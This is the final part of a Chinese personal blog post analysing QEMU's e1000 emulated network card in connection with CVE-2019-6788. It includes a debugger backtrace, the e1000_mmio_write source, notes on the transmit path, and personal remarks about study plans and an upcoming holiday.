#37 0x0000555555d7a1a2 in qemu_thread_start (args=0x555556866840) at /home/wnagzihxa1n/CVE-2019-6788/qemu/util/qemu-thread-posix.c:498
#38 0x00007ffff6ac46ba in start_thread (arg=0x7fffd5480700) at pthread_create.c:333
#39 0x00007ffff67fa41d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109

这个函数对应着write()

static void
e1000_mmio_write(void *opaque, hwaddr addr, uint64_t val,
                 unsigned size)
{
    E1000State *s = opaque;
    unsigned int index = (addr & 0x1ffff) >> 2;

    if (index < NWRITEOPS && macreg_writeops[index]) {
        if (!(mac_reg_access[index] & MAC_ACCESS_FLAG_NEEDED)
            || (s->compat_flags & (mac_reg_access[index] >> 2))) {
            if (mac_reg_access[index] & MAC_ACCESS_PARTIAL) {
                DBGOUT(GENERAL, "Writing to register at offset: 0x%08x. "
                       "It is not fully implemented.\n", index<<2);
            }
            macreg_writeops[index](s, index, val);
        } else {    /* "flag needed" bit is set, but the flag is not active */
            DBGOUT(MMIO, "MMIO write attempt to disabled reg. addr=0x%08x\n",
                   index<<2);
        }
    } else if (index < NREADOPS && macreg_readops[index]) {
        DBGOUT(MMIO, "e1000_mmio_writel RO %x: 0x%04"PRIx64"\n",
               index<<2, val);
    } else {
        DBGOUT(UNKNOWN, "MMIO unknown write addr=0x%08x,val=0x%08"PRIx64"\n",
               index<<2, val);
    }
}

函数e1000_mmio_write()会调用set_tctl(),这里不是直接调用,而是通过数组转换的形式

我个人的理解从函数start_xmit()开始可以算作是我们分析的入口,找到了入口,而且参数数据我们可控,就可以进行初步的代码阅读工作了,函数pci_dma_read()用于获取我们传入的数据,保存在desc描述符里,函数process_tx_desc()用于发送数据

IMAGE

我真怕自己变成大佬口中的这种人

IMAGE

下周开始找朱老师把ROOT给整了,一直拖拖拖,趁还没被优化赶紧薅一波技术大佬的羊毛,这两天继续搞搞分析,手上还有一大堆东西没学,把虫老板的逆向2重新翻了翻,又学到了很多,害,我还是太菜了

明天开始就是清明节了,岛上见:)